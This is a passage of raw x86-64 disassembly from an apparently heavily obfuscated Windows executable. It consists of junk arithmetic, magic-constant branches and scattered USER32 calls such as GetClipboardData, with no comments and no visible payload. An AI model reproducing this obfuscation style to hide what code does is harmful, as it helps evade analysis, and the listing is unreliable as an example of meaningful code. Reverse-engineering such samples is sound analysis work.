mov word [rcx], ax
jmp 0x1400575cc
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d80]
mov byte [rcx], al
mov dword [rsp + 0x1768], 0xcd
jmp 0x1400575ea
movsx eax, word [0x14015a008]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x660], ax
mov dword [rsp + 0x176c], 0x56f2
jmp 0x14005761a
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2c48]
mov qword [rsp + 0x2db8], rax
cmp qword [rsp + 0x2db8], 0
je 0x14005767c
movabs rax, 0x1209e26ee224827e
cmp qword [rsp + 0x2db8], rax
je 0x14005764e
jmp 0x140057903
call qword [sym.imp.USER32.dll_CountClipboardFormats]
mov dword [rsp + 0x1770], eax
movsx eax, word [rsp + 0x660]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14015a008], ax
jmp 0x140057903
lea rax, [rsp + 0x1728]
mov qword [rsp + 0x2dc0], rax
mov dword [rsp + 0x1774], 0xd8d9
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
mov dword [rsp + 0x1778], eax
cmp dword [rsp + 0x1778], 0x6dff
je 0x1400576bb
jmp 0x14005777a
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2d60]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2c48]
mov rdx, qword [rsp + 0x2bf0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x140057702
mov eax, dword [rsp + 0x172c]
add eax, 0xb9176ed3
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x8a]
mov byte [rsp + 0x177c], al
cmp byte [rsp + 0x177c], 0x22
je 0x140057754
cmp byte [rsp + 0x177c], 0xc4
je 0x140057727
jmp 0x140057775
mov edx, reloc.SHELL32.dll_ILCloneFirst
mov rcx, qword [rsp + 0x2dc8]
call qword [sym.imp.USER32.dll_SetMenuContextHelpId]
mov dword [rsp + 0x1780], eax
mov rax, qword [rsp + 0x2d68]
movzx ecx, word [rax]
call fcn.14010b2e0
nop
jmp 0x140057775
mov rax, qword [rsp + 0x2cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c48]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x2bf0], rax
jmp 0x140057903
mov rax, qword [rsp + 0x2db0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x2dc0]
mov qword [rsp + 0x2dd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2dd0]
mov eax, dword [rax]
shl eax, cl
mov ecx, dword [rsp + 0x1770]
mov edx, dword [rsp + 0x1714]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x140057903
mov rax, qword [rsp + 0x2dc0]
mov eax, dword [rax]
mov dword [rsp + 0x1784], eax
cmp dword [rsp + 0x1784], 0x31d9ebcf
je 0x1400577f1
cmp dword [rsp + 0x1784], 0x694ba83d
je 0x1400578e0
jmp 0x140057903
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2d60]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2bf0]
mov rdx, qword [rsp + 0x2c48]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x1400578c2
mov edx, 0x7d
lea rcx, [rsp + 0x11340]
call qword [sym.imp.USER32.dll_CharLowerBuffA]
mov dword [rsp + 0x1788], eax
mov rax, qword [rsp + 0x2d80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcf]
add eax, ecx
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x2cc0]
movzx r9d, byte [rax]
movzx r8d, byte [rsp + 0xcf]
mov rax, qword [rsp + 0x2c68]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rax]
call fcn.14010cd90
nop
jmp 0x1400578de
movsx eax, word [0x14015a008]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x660], ax
jmp 0x140057903
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
mov dword [rsp + 0x178c], 0xa4e0
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2c48]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2bf0]
mov rdx, qword [rsp + 0x2d60]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x140057986
mov rax, qword [rsp + 0x2bf0]
mov rcx, qword [rsp + 0x2d60]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c48], rax
mov r8d, 0x9f
mov rdx, qword [rsp + 0x2dd8]
mov rcx, qword [rsp + 0x2de0]
call qword [sym.imp.USER32.dll_GetDCEx]
mov qword [rsp + 0x2de8], rax
jmp 0x14010ab7e
cmp dword [rsp + 0x1750], 0x10131
ja 0x140057b0f
mov eax, dword [rsp + 0x1750]
add eax, 0x68
mov dword [rsp + 0x1750], eax
mov eax, dword [rsp + 0x172c]
mov dword [rsp + 0x1788], eax
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x664], ax
mov rax, qword [rsp + 0x2d70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xce]
sub eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
movsx eax, word [rsp + 0x660]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xce]
add eax, ecx
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
movzx eax, word [rsp + 0x664]
movzx ecx, word [rsp + 0x65c]
and eax, ecx
mov word [0x14015ae50], ax
mov rax, qword [rsp + 0x2db0]
mov ecx, dword [rsp + 0x1770]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2dc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2c48]
mov rcx, qword [rsp + 0x2d60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d88]
mov rcx, qword [rsp + 0x2cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x172c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x660]
xor eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
jmp 0x140057986
mov eax, dword [rsp + 0x1728]
mov rcx, qword [rsp + 0x2db0]
mov qword [rsp + 0x2df0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2df0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x2dc0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x1714]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140057c40
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov dword [rsp + 0x1790], eax
cmp dword [rsp + 0x1790], 0x2bf6724e
je 0x140057c00
cmp dword [rsp + 0x1790], 0xb0d3a64b
je 0x140057b86
jmp 0x140057c40
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8a]
and eax, ecx
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x65c]
sub eax, ecx
mov word [rsp + 0x664], ax
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
lea rdx, [rsp + 0x2d10]
mov rcx, qword [rsp + 0x2d30]
call qword [sym.imp.USER32.dll_GetClientRect]
mov dword [rsp + 0x1794], eax
jmp 0x140057c40
mov rax, qword [rsp + 0x2d78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x660]
sub eax, ecx
mov word [0x14015a008], ax
mov rax, qword [rsp + 0x2cd8]
mov rcx, qword [rsp + 0x2d88]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2dc0]
mov eax, dword [rax]
mov dword [rsp + 0x1798], eax
mov rax, qword [rsp + 0x2d60]
mov rcx, qword [rsp + 0x2bf0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x172c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0x2d80]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xcf], al
movzx eax, byte [rsp + 0xce]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8a], al
movzx eax, word [0x14015ae50]
movzx ecx, word [rsp + 0x65c]
shl eax, cl
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
movsx eax, word [rsp + 0x660]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x14015a008], ax
mov rax, qword [rsp + 0x2c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2cd8]
mov qword [rsp + 0x2df8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2df8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2c40], rax
mov eax, dword [rsp + 0x16f8]
sub eax, 0x73
mov dword [rsp + 0x16f8], eax
mov rax, qword [rsp + 0x2dc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1770]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1728], eax
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1788]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x172c], eax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2bf0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c48], rax
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
movsx ecx, word [0x14015a008]
add eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x65c]
sub eax, ecx
mov word [0x14015ae50], ax
mov rax, qword [rsp + 0x2c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2c48]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2d60], rax
mov eax, dword [rsp + 0x172c]
mov rcx, qword [rsp + 0x2d20]
mov qword [rsp + 0x2e00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2e00]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2db0]
mov rcx, qword [rsp + 0x2dc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1714], eax
movsx eax, word [rsp + 0x660]
movsx ecx, word [0x14015a008]
shl eax, cl
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x2ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8a]
sub eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
mov eax, dword [rsp + 0x172c]
mov ecx, dword [rsp + 0x1788]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2c48]
mov rcx, qword [rsp + 0x2bf0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2db0]
mov rcx, qword [rsp + 0x2dc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1714], eax
mov rax, qword [rsp + 0x2cd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
movsx eax, word [rsp + 0x660]
movsx ecx, word [0x14015a008]
add eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
cmp dword [rsp + 0x16f8], 0x97ae
jae 0x140057c51
mov rax, qword [rsp + 0x2cc0]
movzx eax, byte [rax]
mov byte [rsp + 0x179c], al
cmp byte [rsp + 0x179c], 0
je 0x140058067
jmp 0x14010aab9
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x660]
xor eax, ecx
mov word [0x14015a00c], ax
movsx eax, word [rsp + 0x660]
mov dword [rsp + 0x17a0], eax
cmp dword [rsp + 0x17a0], 0
je 0x140058148
cmp dword [rsp + 0x17a0], 0x59e7
je 0x1400580b2
jmp 0x14010a9c0
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2bf0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d48]
movzx eax, byte [rax]
mov byte [rsp + 0x17a4], al
cmp byte [rsp + 0x17a4], 0x8b
je 0x1400580f1
jmp 0x140058127
mov ecx, ILGetNext
call qword [sym.imp.USER32.dll_GetClipboardData]
mov qword [rsp + 0x2e08], rax
mov rax, qword [rsp + 0x2d88]
mov rcx, qword [rsp + 0x2d18]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2c40], rax
jmp 0x140058143
movsx eax, byte [rsp + 0xcf]
movsx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov rcx, qword [rsp + 0x2d80]
mov byte [rcx], al
jmp 0x14010a9c0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x2e10], rax
movzx eax, word [rsp + 0x660]
mov word [rsp + 0x668], ax
cmp dword [rsp + 0x176c], 0x7589
jae 0x140058650
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14015ae50], ax
mov rax, qword [rsp + 0x2c48]
mov rcx, qword [rsp + 0x2bf0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d60], rax
mov rax, qword [rsp + 0x2d18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2db0]
mov ecx, dword [rsp + 0x1770]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x2dc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x172c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1788], eax
movzx eax, word [rsp + 0x664]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
mov eax, dword [rsp + 0x176c]
add eax, 0xbf
mov dword [rsp + 0x176c], eax
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x2e10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xce]
add eax, ecx
mov byte [rsp + 0x8a], al
movzx eax, word [rsp + 0x65c]
movzx ecx, word [0x14015ae50]
sub eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2d88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2db0]
mov rcx, qword [rsp + 0x2dc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2bf0]
mov rcx, qword [rsp + 0x2c48]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x1788]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x172c], eax
mov rax, qword [rsp + 0x2d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xce]
sub eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
movsx eax, word [rsp + 0x660]
movsx ecx, word [0x14015a00c]
add eax, ecx
mov word [rsp + 0x668], ax
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x65c]
add eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
sar eax, cl
mov rcx, qword [rsp + 0x2d80]
mov byte [rcx], al
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
mov eax, dword [rsp + 0x1714]
mov ecx, dword [rsp + 0x1770]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1728], eax
mov rax, qword [rsp + 0x2c48]
mov rcx, qword [rsp + 0x2bf0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d60], rax
mov rax, qword [rsp + 0x2d88]
mov rcx, qword [rsp + 0x2c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2cd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x1788]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x172c], eax
movzx eax, word [rsp + 0x664]
movzx ecx, word [rsp + 0x65c]
sub eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x668]
add eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
movsx eax, byte [rsp + 0xcd]
movsx ecx, byte [rsp + 0xcf]
add eax, ecx
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d80]
mov byte [rcx], al
movzx eax, byte [rsp + 0xce]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0x2dc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1770]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d60]
mov rcx, qword [rsp + 0x2c48]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2cd8]
mov rcx, qword [rsp + 0x2d18]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1788]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x172c], eax
movzx eax, word [rsp + 0x664]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x668]
sar eax, cl
mov word [rsp + 0x660], ax
movzx eax, word [rsp + 0x664]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
movsx eax, word [rsp + 0x668]
movsx ecx, word [rsp + 0x660]
sub eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8a]
sub eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2d60]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
jmp 0x140058168
mov rax, qword [rsp + 0x2dc0]
mov eax, dword [rax]
mov dword [rsp + 0x17a8], eax
cmp dword [rsp + 0x17a8], 0
je 0x140058670
jmp 0x14010a808
cmp dword [rsp + 0x1774], 0xe671
je 0x1400589d3
movzx eax, word [rsp + 0x664]
movzx ecx, word [0x14015ae50]
or eax, ecx
mov word [rsp + 0x65c], ax
mov rax, qword [rsp + 0x2dc0]
mov ecx, dword [rsp + 0x1770]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x1788]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x172c], eax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2d60]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2c48], rax
mov rax, qword [rsp + 0x2cd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
movsx eax, word [rsp + 0x660]
movsx ecx, word [0x14015a00c]
add eax, ecx
mov word [rsp + 0x668], ax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
add eax, ecx
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
mov eax, dword [rsp + 0x1774]
add eax, 0x3c
mov dword [rsp + 0x1774], eax
movzx eax, word [rsp + 0x664]
mov rcx, qword [rsp + 0x2d50]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14015ae50], ax
movzx eax, byte [rsp + 0xce]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2bf0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1788]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x172c], eax
mov rax, qword [rsp + 0x2db0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1770]
sar eax, cl
mov dword [rsp + 0x1728], eax
mov rax, qword [rsp + 0x2c40]
mov rcx, qword [rsp + 0x2d18]
mov qword [rsp + 0x2e18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2e18]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2d18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2e10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x660]
or eax, ecx
mov rcx, qword [rsp + 0x2e10]
mov word [rcx], ax
movzx eax, word [rsp + 0x65c]
movzx ecx, word [rsp + 0x664]
xor eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
movsx eax, word [rsp + 0x668]
movsx ecx, word [rsp + 0x660]
and eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2bf0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2d60], rax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x1788]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x172c], eax
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2db0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1798]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1728], eax
movzx eax, word [rsp + 0x664]
mov rcx, qword [rsp + 0x2d50]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
movsx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0x2d90]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0x2d80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2d90]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
jmp 0x140058670
movzx eax, word [0x14015a008]
mov word [rsp + 0x66c], ax
movzx eax, word [rsp + 0x664]
mov dword [rsp + 0x17ac], eax
